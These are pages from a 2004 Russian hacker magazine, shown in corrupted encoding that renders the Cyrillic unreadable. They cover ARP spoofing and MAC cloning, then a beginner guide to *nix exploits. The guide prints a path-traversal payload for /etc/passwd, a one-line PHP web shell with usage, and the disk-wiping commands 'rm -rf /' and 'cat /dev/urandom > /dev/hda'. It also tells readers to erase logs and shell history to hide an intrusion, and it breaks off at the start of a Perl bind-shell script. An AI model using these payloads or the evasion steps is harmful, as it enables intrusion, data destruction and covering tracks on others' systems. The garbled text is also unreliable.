                                                                               äîæèäàòüñÿ ïèêîâîé çàã-
                                                                               ðóçêè ïîñëåäíåãî, ïðè êî-
                                                                               òîðîé îí äóáëèðóåò ïîñòó-
                                                                               ïàþùèå äàííûå íà âñå
                                                                                                          Ëåãêèé âçìàõ íîæíèöàìè ïðåâðàùàåò îáû÷-
                    Ðàçðûâ ñîåäèíåíèÿ ìåæäó óçëàìè                             ïîðòû, êàê îáû÷íûé õàá.    íóþ êàðòó â stealth


                                      ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                                31



  ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ




                                                                                                                                     ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
     Íèêèòà Êèñëèöèí, ðåäàêòîð ðóáðèêè "Âçëîì" æóðíàëà "Õàêåð":

  «×ðåçâû÷àéíî ýôôåêòèâíûì ìåòîäîì âçëîìà êîìïüþòåðíûõ ñåòåé
  ÿâëÿåòñÿ ñíèôèíã äàííûõ. ×òî è ãîâîðèòü, çà÷àñòóþ áûâàåò êóäà
  ïðîùå îòñíèôàòü ïàðîëü ê êàêîìó-òî ðåñóðñó, íåæåëè ëîìàòü ñèñ-
  òåìó "ñ ãîëîâû". Îäíàêî ïðîøëî âðåìÿ, êîãäà, çàïóñòèâ ïðîñòåé-
  øèé ïàêåòíûé ñíèôåð, ëþáîé æåëàþùèé ïîëó÷àåò äîñòóï êî âñåì
  äàííûì, ïåðåäàâàåìûì ïî ëîêàëêå. Áîëüøèíñòâî êîìïüþòåðíûõ
  ñèñòåì ñòðîÿòñÿ ñåé÷àñ íà áàçå êîììóòèðóåìûõ ñåòåé, â êîòîðûõ
  ïàêåòíûå ñíèôåðû áåññèëüíû. Òóò-òî íà ïîìîùü è ïðèøëà àòàêà
  Man-In-the-Middle è ARP-ñïóôèíã êàê ÷àñòíûé åå ñëó÷àé. Îò ýòîãî
                                                                              Ïåðåõâàò ïîäëîæíîãî ARP-çàïðîñà
  óæå íèêóäà íå äåòüñÿ, ïîýòîìó â î÷åðåäíîé ðàç ñïåøó íàïîìíèòü
  ñåòåâûì àäìèíèñòðàòîðàì î öåëåñîîáðàçíîñòè èñïîëüçîâàíèÿ çà-               ëàòü ýòîãî î÷åíü òðóäíî, îñîáåííî
  ùèùåííûõ ñîåäèíåíèé, â êîòîðûõ ïîòîêè èíôîðìàöèè êðèïòóþòñÿ                åñëè òû íå ãóðó.
  ñòîéêèì àëãîðèòìîì è ïåðåäàâàåìàÿ èíôîðìàöèÿ íåäîñòóïíà ñåòå-
                                                                             ÊËÎÍÈÐÎÂÀÍÈÅ ÊÀÐÒÛ
  âûì çëîäåÿì».                                                                  Ôèçè÷åñêèé àäðåñ ñåòåâîé êàðòû
                                                                             îáû÷íî æåñòêî ïðîøèò â ÏÇÓ, è ïî
                                                                             ñòàíäàðòó íèêàêîé MAC íå ìîæåò èñ-
                                                                             ïîëüçîâàòüñÿ äâàæäû. Òåì íå ìåíåå,
  ÏÎËÅÇÍÛÅ ÑÑÛËÊÈ                                                            âñÿêîå ÏÇÓ ìîæíî ïåðåïðîãðàììèðî-         Íèêàêîé àâ-
                                                                                                                       òîðèçàöèè
                                                                             âàòü (îñîáåííî, åñëè ýòî ïåðåïðîãðàì-     äëÿ îáíîâ-
  ETTERCAP                                                                   ìèðóåìîå ÏÇÓ òèïà EEPROM, êàêèì íà        ëåíèÿ ARP-
                                                                                                                       òàáëèöû íå
  Ìîùíûé ñíèôåð, ðåàëèçóþ-                                                   íîâûõ êàðòàõ îíî îáû÷íî è áûâàåò).        òðåáóåòñÿ!
  ùèé àòàêó Man-In-Middle. Àá-                                               Òàêæå íåêîòîðûå êàðòû ïîçâîëÿþò èç-
  ñîëþòíî áåñïëàòåí. Ðàñïðîñò-                                               ìåíÿòü ñâîé MAC âïîëíå ëåãàëüíûìè
                                                                             ñðåäñòâàìè (íàïðèìåð, âñå òîé æå ìíî-
  ðàíÿåòñÿ â èñõîäíûõ òåêñòàõ.                                               ãîñòðàäàëüíîé ifconfig). Íàêîíåö, çàãî-
  Îñíîâíîå îðóæèå õàêåðà.                                                    ëîâîê Ethernet-ïàêåòà ôîðìèðóåòñÿ         Íåêîòîðûå
  http://ettercap.sourceforge.net.                                           ïðîãðàììíûìè, à íå àïïàðàòíûìè ñðåä-      îïåðàöèîí-
                                                                                                                       íûå ñèñòå-
                                                                             ñòâàìè, ïîýòîìó íå÷åñòíûé äðàéâåð         ìû ñàìîñ-
  ARPOISON                                                                   ìîæåò çàïðîñòî ïðîïèñàòü ÷óæîé MAC!       òîÿòåëüíî
                                                                                                                       îáíàðóæè-
  Óòèëèòà äëÿ ãåíåðàöèè è îòï- Ãëàâíîå ìåíþ ïðîãðàììû ETTERCAP                 Êëîíèðîâàíèå MAC-àäðåñà ïîçâîëÿ-        âàþò ôàêò
  ðàâêè ïîäëîæíûõ ARP-ïàêå-                                                  åò ïåðåõâàòûâàòü òðàôèê äàæå áåç          çàõâàòà
                                                                             ïðèñâîåíèÿ ÷óæîãî IP è áåç ïåðåâîäà       ñâîåãî IP-
  òîâ ñ çàäàííûìè MAC- è IP-àäðåñàìè. Íàäåæíîå ñðåäñòâî áîðüáû ñ             êàðòû â íåðàçáîð÷èâûé ðåæèì.
                                                                                                                       àäðåñà ïîñ-
                                                                                                                       òîðîííèì
  èíòåëëåêòóàëüíûìè õàáàìè. Áåñïëàòíà. Ðàñïðîñòðàíÿåòñÿ â èñõîä-                                                       óçëîì.
  íûõ òåêñòàõ http://arpoison. sourceforge.net/.                             ÎÁÍÀÐÓÆÅÍÈß ÊËÎÍÈÐÎÂÀ-
                                                                             ÍÈß È ÏÐÎÒÈÂÎÑÒÎßÍÈÅ ÅÌÓ
  ARPMONIROR                                                                      Ôàêò êëîíèðîâàíèÿ (êîòîðûì, êñòà-
  Ïðîãðàììà äëÿ ñëåæåíèÿ çà ARP-çàïðîñàìè/îòâåòàìè. Â îñíîâíîì               òè, ëþáÿò áàëîâàòüñÿ ïîëüçîâàòåëè ïî-
  èñïîëüçóåòñÿ àäìèíèñòðàòîðàìè äëÿ ìîíèòîðèíãà ñåòè è âûÿâëå-               ïóëÿðíûõ íûíå äîìàøíèõ ñåòåé) ëåãêî
                                                                             îáíàðóæèòü ñ ïîìîùüþ ïðîòîêîëà
  íèÿ ëþäåé ñ ëèøíèìè ÿéöàìè. Áåñïëàòíà. http://planeta.terra.               RARP (Reverse ARP), ïîçâîëÿþùåãî
  com.br/informatica/gleicon/code/index.html.                                îïðåäåëèòü, êàêîé IP-àäðåñ ñîîòâåò-
                                                                             ñòâóåò äàííîìó MAC. Êàæäîìó MAC
  REMOTE ARPWATCH                                                            äîëæåí ñîîòâåòñòâîâàòü òîëüêî îäèí
  Àâòîìàòèçèðîâàííîå ñðåäñòâî âûÿâëåíèÿ àêòèâíîãî ïåðåõâàòà.                 IP-àäðåñ, â ïðîòèâíîì ñëó÷àå çäåñü
  Ñëåäèò çà öåëîñòíîñòüþ ARP-òàáëèö âñåõ ÷ëåíîâ ñåòè è îïåðàòèâ-             ÷òî-òî íå òàê. Åñòåñòâåííî, åñëè àòàêó-
  íî óâåäîìëÿåò àäìèíèñòðàòîðà î ïîäîçðèòåëüíûõ èçìåíåíèÿõ.                  þùèé íå òîëüêî êëîíèðóåò MAC, íî è
                                                                             çàõâàòèò IP, ýòîò ïðèåì íå ñðàáîòàåò.
  Áåñïëàòíà. http://www.raccoon.kiev.ua/projects/remarp/.                      Êà÷åñòâåííûå ìàðøðóòèçàòîðû ïîç-
                                                                             âîëÿþò áàéíäèòü (îò àíãë. bind – ñâÿ-
  FAQ                                                                        çûâàíèå) ïîðòû, çàêðåïëÿÿ çà êàæ-
  Áîëüøîé FAQ ïî ñíèôåðàì íà àíãëèéñêîì ÿçûêå. Òàê æå, êàê è                 äûì "ïðîâîäîì" ñòðîãî îïðåäåëåííûé
  Ethernet òàê æå çàòðàãèâàåò êàáåëüíûå ìîäåìû è íåêîòîðûå äðóãèå            MAC, îáåññìûñëèâàÿ òåì ñàìûì åãî
  ñðåäñòâà ñâÿçè. www.robertgraham.com/pubs/sniffing-faq.html.
                                                     f                       êëîíèðîâàíèå.

                                                                             ÇÀÊËÞ×ÅÍÈÅ
  Íåêîòîðûå îïåðàöèîííûå ñèñòåìû        ñìûñë êîòîðîãî äî ðÿäîâîãî ïîëüçî-       Ðàçðàáîòêà ñîáñòâåííîãî ñíèôåðà
ñàìîñòîÿòåëüíî îáíàðóæèâàþò ôàêò        âàòåëÿ âñå ðàâíî íå äîéäåò.          – ýòî õîðîøèé ñïîñîá ïîóïðàæíÿòüñÿ â
çàõâàòà ñâîåãî IP-àäðåñà ïîñòîðîí-       Ñòàòè÷åñêàÿ ARP-òàáëèöà, ôîð-       ïðîãðàììèðîâàíèè, ïîêîïàòüñÿ â íåä-
íèì óçëîì, íî òîëüêî â òîì ñëó÷àå,      ìèðóåìàÿ âðó÷íóþ, â ýòîì ïëàíå       ðàõ îïåðàöèîííîé ñèñòåìû è èçó÷èòü
åñëè çëîóìûøëåííèê èñïîëüçîâàë          âûãëÿäèò íàìíîãî áîëåå ïðèâëå-       áîëüøîå êîëè÷åñòâî ñåòåâûõ ïðîòîêî-
øèðîêîâåùàòåëüíóþ ðàññûëêó              êàòåëüíîé, ïðàâäà, äàæå ïîñëå ïå-    ëîâ. Êîðî÷å ãîâîðÿ, ñîâìåñòèòü ïðèÿò-
(î÷åíü çðÿ). Ê òîìó æå, ïî ìàëîïîíÿò-   ðåõîäà íà íåå ìíîãèå îïåðàöèîí-      íîå ñ ïîëåçíûì. Ìîæíî, êîíå÷íî, èñ-
íûì äëÿ ìåíÿ ìîòèâàì ÎÑ íå îòïðàâ-      íûå ñèñòåìû ïðîäîëæàþò ïðèíè-        ïîëüçîâàòü è ãîòîâûå óòèëèòû, íî ýòî
ëÿåò ARP-îòâåò, îòáèðàÿ ïîõèùåííûé      ìàòü ïîäëîæíûå ARP-îòâåòû, áåç-      âñå ðàâíî, ÷òî ñòðåëÿòü â êàáàíà, ïðè-
IP-àäðåñ íàçàä, à ïðîñòî îòäåëûâàåò-    ðîïîòíî îòäàâàÿ ñåáÿ â ëàïû çëî-     âÿçàííîãî ê äåðåâó – íè àçàðòà, íè
ñÿ ìíîãîýòàæíûì ïðåäóïðåæäåíèåì,        óìûøëåííèêà, è óáåäèòü èõ íå äå-     óäîâëåòâîðåíèÿ. E
                                     32     ÂÇËÎÌ          XPLOITS. HOW TO?

                         Hi-Tech (hi-tech@nsd.ru, http://nsd.ru)
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                         XPLOITS. HOW TO?
                         ÝÊÑÏËÎÈÒÛ ÏÎÄ *NIX ÄËß ÍÀ×ÈÍÀÞÙÈÕ
                             ÷åíü ÷àñòî                        èíôîðìàöèþ, óïðÿòàííóþ íà âðàæåñêîì ñåðâåðå.  áîëüøèíñòâå ñëó÷àåâ
                         Î èíôîðìàöèÿòðåáóåòñÿ äîáûòü âàæíóþñèñòåìû íåäîñòóïíà, ïîýòîìó âñòàåò âîïðîñ î ïîâûøåíèè ïðàâ â ñèñòåìå, ýòà
                                        ðÿäîâîìó ïîëüçîâàòåëþ
                         ðàçðåøàåòñÿ êîòîðûé ïðè ïîìîùè ñïåöèàëüíûõ ïðîãðàìì - ýêñïëîèòîâ.


                                                   ÝÒÎ ×ÒÎ ÇÀ                 íàãëÿäíî ïîêàçàòü òåáå, êàêèì îáðà-            èëè èíòåðíåòà. Ê òàêèì ñåðâèñàì îò-


                                     »             ÏÎÊÅÌÎÍ?
                                                      Ýêñïëîèòû - ñïåöè-
                                                   àëüíûå ïðîãðàììû, èñ-
                                                   ïîëüçóþùèå óÿçâèìîñ-
                                   òè â òîì èëè èíîì êîìïîíåíòå ñèñòå-
                                                                              çîì ïîëó÷àþòñÿ ïåðåïîëíåíèÿ, ÿ ïðè-
                                                                              âåäó ïðèìåð.

                                                                                #include <stdio.h>
                                                                                int main()
                                                                                                                             íîñèòñÿ, íàïðèìåð, telnetd, ftpd, sshd,
                                                                                                                             pop3d. ×àùå âñåãî ÷åðâè, íàïèñàííûå
                                                                                                                             äëÿ ÎÑ *nix, ðàñïðîñòðàíÿþòñÿ èìåí-
                                                                                                                             íî òàêèì ñïîñîáîì. Òî åñòü îíè ñîäåð-
                                                                                                                             æàò âñòðîåííûé ýêñïëîèò äëÿ âíåø-
                                   ìû èëè ñåðâèñå ñ öåëüþ ïîâûøåíèÿ             {                                            íåãî ñåðâèñà. Åñëè âîçâðàòèòüñÿ ê
                                   èëè ïîëó÷åíèÿ ïðàâ â ñèñòåìå ëèáî              char buff[10] = {0}; //êàê òû âèäèøü, â    Windows, òî ñàìûì ÿðêèì àíàëîãîì
                                   äëÿ äåñòðóêòèâíûõ öåëåé, íàïðèìåð,         ñàìîì íà÷àëå âñå ýëåìåíòû.                     ÿâëÿåòñÿ óÿçâèìîñòü â RPC DCOM
                    Åñëè èçíà-     DOS-àòàê. Äëÿ ïîèñêà óÿçâèìîñòåé             // âûäåëåííîãî ïîä ïåðåìåííóþ áóôåðà         îïåðàöèîííûõ ñèñòåì Windows
                    ÷àëüíî íåò     ÷àùå âñåãî áåðóòñÿ ñåðâèñû èëè êîì-        ïðåäñòàâëÿþò 10 íóëåé.                         2000/NT/XP/2003 è ÷åðâü msblast.
                    íèêàêîãî       ïîíåíòû ñèñòåìû, çàïóùåííûå ñ âû-            // âèäíî, ÷òî èõ ìîæåò áûòü ìàêñèìóì         Êñòàòè, ñîîáùåíèÿ î òîì, ÷òî "êîìïü-
                    äîñòóïà ê
                    õîñòèíãó,      ñîêèìè ïðèâèëåãèÿìè, èëè ïðèëîæå-          10! Ò.å. ïðîãðàììèñò ðàññ÷èòûâàåò, ÷òî         þòåð áóäåò ïåðåçàãðóæåí ÷åðåç xx ñå-
                    ìîæíî          íèÿ, ïðèíàäëåæàùèå ðóòó, ó êîòîðûõ           // ìû ââåäåì îáÿçàòåëüíî äåñÿòèçíà÷-         êóíä", - ðåçóëüòàò êðèâîãî ïåðåïîëíå-
                    ïðîñòî êó-
                    ïèòü íà íåì    óñòàíîâëåí áèò SUID/SGID. Ïðàêòè÷åñ-       íîå ÷èñëî.                                     íèÿ áóôåðà, âûçâàííîãî íåïðîäóìàí-
                    àêêàóíò íà     êè âñå ïðîãðàììíûå ýêñïëîèòû èñ-               printf("Enter your 10-digit number"); //   íûì àëãîðèòìîì äåéñòâèé ÷åðâÿ÷êà.
                    ìåñÿö. À
                    åñëè äåíåã     ïîëüçóþò óÿçâèìîñòè êëàññà buffer          Ââîäèì ÷èñëî…                                  Ýòè ýêñïëîèòû çà÷àñòóþ áîëåå æåëàí-
                    ñîâñåì íåò,    overflow. Êàê òû, íàâåðíîå, óæå äîãà-          scanf(buff, "%s"); // À âîò ìû è äîáðà-    íûå äëÿ õàêåðà, ïîòîìó ÷òî äëÿ èõ èñ-
                    ìîæíî ïîï-     äàëñÿ, âçëîìùèê, à, òî÷íåå, shell-êîä      ëèñü äî áàãà, ôóíêöèÿ scanf â äàííîì           ïîëüçîâàíèÿ ÷àùå âñåãî íå òðåáóåòñÿ
                    ðîáîâàòü
                    çàêàðäèòü      (íàáîð ìàøèííûõ èíñòðóêöèé, êîòî-            // ñëó÷àå íå ïðîâåðÿåò äëèíó ââåäåííî-       èìåòü íèêàêîãî äîñòóïà ê àòàêóåìîé
                    èëè ïîáðó-     ðûé çàïîëíÿåò ñîáîé ïåðåïîëíåííûé          ãî íàìè ÷èñëà. Ïîäóìàé, êóäà äåíåòñÿ           ìàøèíå. Ñîâåðøåííî äðóãàÿ ñèòóàöèÿ
                    òàòü :).
                                   áóôåð), âñòðîåííûé â ýêñïëîèò, ïîëó-         // åùå 10 áàéò èíôîðìàöèè, åñëè ìû           ñ ëîêàëüíûìè ýêñïëîèòàìè: îíè ïîç-
                                   ÷èò ïðàâà äûðÿâîãî ïðèëîæåíèÿ è            ââåäåì íå 10, à 20 çíàêîâ?                     âîëÿþò èñïîëüçîâàòü áðåøü â ïðèëî-
                                   ïðåäîñòàâèò èõ àòàêóþùåìó, íàïðè-            // Ïðàâèëüíî, âûéäåò çà ïðåäåëû áóôå-        æåíèè èëè â êîìïîíåíòå îïåðàöèîí-
                                   ìåð, â âèäå îòêðûòîãî íà êàêîì-ëèáî        ðà.                                            íîé ñèñòåìû, íå èìåþùåì ïðÿìîãî
                                   ïîðòó shell’à ñ ïîâûøåííûìè ïðàâàìè.         }                                            äîñòóïà ê èíòåðíåòó. ßðêèì ïðèìåðîì
                    Òåîðåòè÷åñ-    Íåìíîãî ïî-äðóãîìó îáñòîÿò äåëà ñ                                                         ýòîãî ìîãóò ñëóæèòü ÿäåðíûå áàãè -
                    êè â ñåòè
                    íåò íè îä-     DoS-ýêñïëîèòàìè, shell-êîä êîòîðûõ          Âîò êàê âñå ëåãêî, à åñëè ïîñëå 10-ãî         ptrace è do(brk).
                    íîãî íåóÿç-    ïðåäñòàâëÿåò èç ñåáÿ ñâîåãî ðîäà           ñèìâîëà âñòàâèòü shell-êîä? Áîëåå                Òû çíàåøü îá óÿçâèìîñòÿõ â web-
                    âèìîãî ñåð-
                    âåðà. Âåñü     "êðàêîçÿáðó", íå èìåþùóþ íèêàêîãî          ïîäðîáíî îáî âñåì ýòîì ÷èòàé â Ñïå-            ñêðèïòàõ, êîòîðûå ìîæíî èñïîëüçî-
                    âîïðîñ çàê-    ëåêñè÷åñêîãî çíà÷åíèÿ, è ïîýòîìó           öå #08.04(45). Óÿçâèìîñòè â ïðîã-              âàòü ïðÿìî èç àäðåñíîé ñòðîêè áðàó-
                    ëþ÷àåòñÿ       ïðèëîæåíèå, ïûòàÿñü ïîíÿòü, ÷òî æå         ðàììå âîçíèêàþò èç-çà íåâíèìàòåëü-             çåðà, íàïðèìåð
                    òîëüêî â
                    óìåíèè.        ýòî òàêîå, ñâàëèâàåòñÿ â êîðó (core),      íîñòè è õàëàòíîñòè ïðîãðàììèñòîâ.              "http://www.vulnhost.hu/vulnscript.php
                                   èëè, ãîâîðÿ ïðîñòûì ÿçûêîì, ãëþ÷èò è       Òàêæå â ýòîì åñòü ÷àñòü âèíû ñàìîé             ?page=../../../../etc/passwd"? Òàê âîò,
                                   çàâèñàåò. Åñëè òû íå çíàåøü, ÷òî çíà-      àðõèòåêòóðû x86. Â áëèæàéøåì âðå-              ïîñëå òîãî êàê òû âñå ýòî íàáðàë, êàê
                                   ÷èò âûïàäàòü â core, ïðèâåäó àíàëî-        ìåíè êîìïàíèÿ Intel ïëàíèðóåò âûïóñ-           äóìàåøü, ÷åì ýòî ñòàëî? Ýêñïëîèòîì!
                                   ãè÷íûé ïðèìåð èç Âèíäû, ñ êîòîðûì          òèòü ïðîöåññîð ñ àïïàðàòíîé çàùè-              Òî åñòü èñõîäÿ èç îïðåäåëåíèÿ
                                   òû óæ òî÷íî íå ðàç ñòàëêèâàëñÿ: ïðîã-      òîé îò óÿçâèìîñòåé ïåðåïîëíåíèÿ áó-            ýêñïëîèòîì äëÿ ñêðèïòà
                                   ðàììà çàâèñàåò è âûäàåò îêîøêî             ôåðà. Íàñêîëüêî îíà áóäåò ýôôåê-               "vulnscript.ïõï" ÿâëÿåòñÿ
                                   "programm.exe – Îøèáêà ïðèëîæå-            òèâíà, ìû ñìîæåì óáåäèòüñÿ â áëè-              "?page=../../../../etc/passwd".
                                   íèÿ" ïðèìåðíî òàêîãî ñîäåðæàíèÿ:           æàéøåì áóäóùåì, à ïîêà ýêñïëîèòû,                Ïîìèìî òàêîãî äåëåíèÿ ýêñïëîèòû
                                   "Èíñòðóêöèÿ ïî àäðåñó 0x12121212 îá-       èñïîëüçóþùèå ýòè óÿçâèìîñòè, æè-               ìîæíî ðàçáèòü è íà êëàññû ïî èõ
                                   ðàòèëàñü ê ïàìÿòè ïî àäðåñó                âóò è ïðîöâåòàþò.                              äåéñòâèÿì.
                                   0x13131313. Ïàìÿòü íå ìîæåò áûòü
                                   'read'". Îòëè÷èå ëèøü â òîì, ÷òî *nix-     ÝÊÑÏËÎÈÒÛ - ÊÀÊÈÅ ÎÍÈ?                         CLASS’ÍÛÅ ÝÊÑÏËÎÈÒÛ
                                   ñèñòåìû ïèøóò íà äèñê ñâîåîáðàçíûé             Ýêñïëîèòû ðàçäåëÿþò íà óäàëåí-                 Íåêîððåêòíî ãîâîðèòü, ÷òî ýêñïëî-
                                   äàìï ïàìÿòè, ïî êîòîðîìó ìîæíî îï-         íûå (remote) è ëîêàëüíûå (local). Çà-          èòû ïðèâîäÿò ê òîìó-òî è òîìó-òî. Íà
                                   ðåäåëèòü ïðè÷èíó îøèáêè.                   ìåòü: "óäàëåííûå" (remote) íèêàêèì             ñàìîì äåëå, îíè ïðîñòî ïåðåïîëíÿþò
                                                                              ìåñòîì íå ñâÿçàíû ñ "óäàëåííûìè"               áóôåð, à êàêèå-ëèáî äåéñòâèÿ âûïîë-
                                   ÎÒ×ÅÃÎ ÆÅ ÏÐÎÈÑÕÎÄÈÒ                       (erased, removed, deleted). Óäàëåííûå          íÿåò shell-êîä. Èìåííî îò ñîäåðæàíèÿ
                                   ÏÅÐÅÏÎËÍÅÍÈÅ?                              ñïëîèòû ïîçâîëÿþò èñïîëüçîâàòü áàã             shell-êîäà çàâèñèò òî, ÷òî ïðîèçîéäåò
                                      Ñóùåñòâóåò ìíîæåñòâî ðàçëè÷íûõ          â ñåðâèñå, äîñòóïíîì èçâíå, ê êîòîðî-          ïðè óñïåøíîì âûïîëíåíèè àòàêè: îòê-
                                   òèïîâ ïåðåïîëíåíèÿ áóôåðà, ñîîòâåò-        ìó ìîæíî ïîäñîåäèíèòüñÿ ñ äðóãîé               ðîåòñÿ ïîðò, âûïîëíèòñÿ êîìàíäà èëè
                                   ñòâåííî, è ïðè÷èí ñòîëüêî æå. ×òîáû        ìàøèíû ïîñðåäñòâîì ëîêàëüíîé ñåòè              ñåðâåð óéäåò â äàóí.

                                    ÕÀÊÅÐÑÏÅÖ   10(47)   2004
 Îòêðîâåííî ãîâîðÿ, êëàññîâ               êàê çàäóìàíî, î÷åíü ñëîæíî, à ïîðîé
ýêñïëîèòîâ ìíîãî. ß ïîçíàêîìëþ òå-        äàæå íåðåàëüíî, òàê êàê â äûðÿâîé
áÿ ñ äâóìÿ.                               ïðîãðàììå âñå-òàêè ñóùåñòâóåò êàêàÿ-
                                          òî âðåäíàÿ ïðîâåðêà íà âøèâîñòü.
DOS SHELLCODE XPLOITS
    ×àùå âñåãî, ýòè ýêñïëîèòû óäà-        REMOTE SHELL
ëåííîãî äåéñòâèÿ. Öåëüþ, êîòîðóþ          SHELLCODE XPLOITS
ïðåñëåäóåò õàêåð, íàòðàâëèâàÿ òàêóþ           Îá ýòîì êëàññå ýêñïëîèòîâ ÿ òîæå
øòóêó íà óÿçâèìûé ñåðâåð, ÿâëÿåòñÿ        óæå óñïåë óïîìÿíóòü. Ïîñëå óñïåø-
âûâåäåíèå èç ñòðîÿ àòàêóåìîãî ñåð-        íîé àòàêè íà óÿçâèìóþ ìàøèíó îíè
âèñà èëè âñåé îïåðàöèîííîé ñèñòåìû        îòêðûâàþò íà íåé ïîðò, ê êîòîðîìó
(äà-äà, áûâàþò òàêèå ñëó÷àè, êîãäà ïî-    ìîæíî ïîäêîííåêòèòüñÿ è ïîëó÷èòü
âåøåííûé äåìîí çàáèðàåò ñ ñîáîé           äîëãîæäàííûé shell ñ ðóòîâûìè ïðà-
âñþ ÎÑ). Ñ êàæäûì äíåì ïðîèñõîäèò         âàìè. Ïðè ýòîì â áîëüøèíñòâå ñëó÷à-
âñå áîëüøå òàêèõ àòàê. Ïî÷åìó? Ïîòî-      åâ òåáå íå ïðèäåòñÿ ïîëüçîâàòüñÿ
ìó ÷òî òåì, êòî çàêàçûâàåò ýòè àòàêè,     âñåìè óäîáñòâàìè /bin/bash: òû áó-
íå íóæíà èíôîðìàöèÿ ñ ñåðâåðà.            äåøü þçàòü ñòàíäàðòíûé /bin/sh, òàê
Öåëü òàêèõ àòàê, êàê ïðàâèëî, áàíàëü-     êàê èìåííî åãî ÷àùå âñåãî âûçûâàþò
íîå ëèøåíèå êîíêóðåíòà äååñïîñîá-         shell-êîäû è èìåííî îí åñòü ïðàêòè-
íîñòè. Ñîãëàñèñü, àòàêîâàòü óÿçâèìûé      ÷åñêè íà âñåõ ìàøèíàõ ñ *nix-ñèñòåìà-
ñåðâèñ, ïîäâåðæåííûé DOS-àòàêå,           ìè íà áîðòó. Íî íå äóìàé, ÷òî ÷åðåç
ïðîùå, ÷åì íàòðàâëèâàòü öåëóþ àð-         ýòîò ïîðò âñåãäà ìîæíî õîäèòü â ñèñ-
ìèþ êîìïüþòåðîâ íà ïðîèçâåäåíèå           òåìó. Îí ëåãêî óáèâàåòñÿ àäìèíèñòðà-
ICMP- è ïîäîáíûõ åé àòàê, äåéñòâóþ-       òîðîì, ñìûâàåòñÿ ðåáóòîì èëè ïðîñòî
ùèõ íå ïðîðàáîòàííûì ïðèíöèïîì, à         ñàì ïî ñåáå îòïàäàåò ïîñëå òîãî, êàê
êîëè÷åñòâîì. Âòîðîé ïðè÷èíîé ÿâëÿ-        îò íåãî îòêëþ÷èøüñÿ.
åòñÿ òî, ÷òî èíîãäà, äëÿ òîãî ÷òîáû íà-
ñîëèòü âðàãó, äîñòàòî÷íî DOS-àòàêè, à     ÊÒÎ ÁÛË ÍÈÊÅÌ,
íå rm –rf / (ìíå áîëüøå íðàâèòñÿ cat      ÒÎÒ ÑÒÀÍÅÒ ÂÑÅÌ
/dev/urandom > /dev/hda - ïðèì. Àâà-          Äëÿ èñïîëíåíèÿ ëîêàëüíîãî
ëàí÷à), à óÿçâèìîñòåé, ïîçâîëÿþùèõ        ýêñïëîèòà òðåáóåòñÿ õîòÿ áû shell ñ
ïðîèçâåñòè óáîéíóþ àòàêó, ãîðàçäî         ïðàâàìè nobody. À êàê åãî ìîæíî
áîëüøå, ÷åì òåõ, êîòîðûå ïîçâîëÿþò        ïîëó÷èòü? Âîò îá ýòîì ÿ ñåé÷àñ è
ïîëó÷èòü äîñòóï. Ýòî ïðîèñõîäèò ïî-       ðàññêàæó.
òîìó, ÷òî ÷àñòî ïåðåïîëíèòü áóôåð          Äëÿ íà÷àëà ïîíàäîáèòñÿ äîñòóï ê
áûâàåò äîñòàòî÷íî ëåãêî, à âïàðèòü        îäíîìó èç ñàéòîâ, êîòîðûå õîñòÿòñÿ
shell-êîä òàê, ÷òîáû îí âûïîëíèëñÿ        íà ñåðâåðå. Ýòî ìîæåò áûòü FTP èëè »




 Ïðèìåð èñïîëüçîâàíèÿ ëîêàëüíîãî ýêñïëîèòà




 Ïðèìåð èñïîëüçîâàíèÿ óäàëåííîãî ýêñïëîèòà
                                      34      ÂÇËÎÌ         XPLOITS. HOW TO?

                                    äûðÿâûé web-ñêðèïò, ïîçâîëÿþùèé
                                    âûïîëíÿòü êîìàíäû (ñ ïîìîùüþ íå-                     Âñåãäà äóìàé î ñâîåé áåçîïàñíîñòè! Íèêîãäà íå ìåøàåò èñïîëü-
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                    ãî ìû íå ñìîæåì ïîëíîöåííî çàïóñ-                 çîâàòü ñîêñû äëÿ ïîäêëþ÷åíèÿ ê óäàëåííîé ñèñòåìå. Åñëè ó òåáÿ
                                    òèòü ýêñïëîèò, íî ñìîæåì çàëèòü
                                    êîå-÷òî). Åñëè FTP åñòü, à êîìàíäû                âîçíèêíóò çàòðóäíåíèÿ ñ âûáîðîì òåðìèíàëà äëÿ ýòèõ öåëåé, ÿ ïî-
                                    ìû âûïîëíÿòü íå ìîæåì, íàäî èñïðà-                ñîâåòóþ òåáå PuTTY: îí óìååò ðàáîòàòü ÷åðåç ïðîêñè- è ñîêñ-ñåð-
                                    âèòü ýòó îïëîøíîñòü, çàëèâ íà ñåð-                âåðà, à òàêæå èìååò ìíîæåñòâî ïîëåçíûõ ôóíêöèé, êîòîðûå íàâåð-
                                    âåð (ñåðâåð äîëæåí ïîääåðæèâàòü                   íÿêà òåáå ïðèãîäÿòñÿ. Íå íóæíî çàáûâàòü ÷èñòèòü ëîãè, âåäü îíè –
                                    PHP) òàêîé ñêðèïò:                                äîêàçàòåëüñòâî ïðèñóòñòâèÿ â ñèñòåìå. Íå çàáóäü ïî÷èñòèòü
                                     <? system($cmd) ?>                               .bash_history, åñëè òû çàøåë êàê îáû÷íûé ïîëüçîâàòåëü ÷åðåç
                                                                                      ñòàíäàðòíûé ssh èëè telnet. Ýòîò ôàéëèê îáû÷íî íàõîäèòñÿ â äî-
                                      Òàêàÿ âîò «ìàëþòêà» óìååò âûïîë-                ìàøíåé äèðåêòîðèè ïîëüçîâàòåëÿ è, êàê òû óæå çàìåòèë, ÿâëÿåòñÿ
                                    íÿòü êîìàíäû ÷åðåç çàïðîñ: www.tar-               ñêðûòûì (ïåðåä èìåíåì ôàéëà ñòîèò «.»).  õèñòîðè ñîäåðæàòñÿ
                                    get.com/cmd.php?cmd=êîìàíäà.                      âñå êîìàíäû, êîòîðûå òû âûïîëíÿë. È çàïîìíè: õèñòîðè çàïèñûâà-
                                      Òåïåðü íàì ïîòðåáóåòñÿ realtime-
                                    äîñòóï ê /bin/sh, êîòîðûé íàì ïðåäîñ-             åòñÿ â ôàéë òîëüêî ïîñëå òîãî, êàê òû ñäåëàåøü ëîã-àóò. Åñòü è
                                    òàâèò íèæåðàñïîëîæåííûé ñêðèïò:                   äðóãîé âàðèàíò ðåøåíèÿ ýòîé ïðîáëåìû: ïîñëå âõîäà â ñèñòåìó âû-
                                                                                      ïîëíèòü êîìàíäó "UNSET .HISTFILE".
                                     #!/usr/bin/perl
                                     $port = 31337;
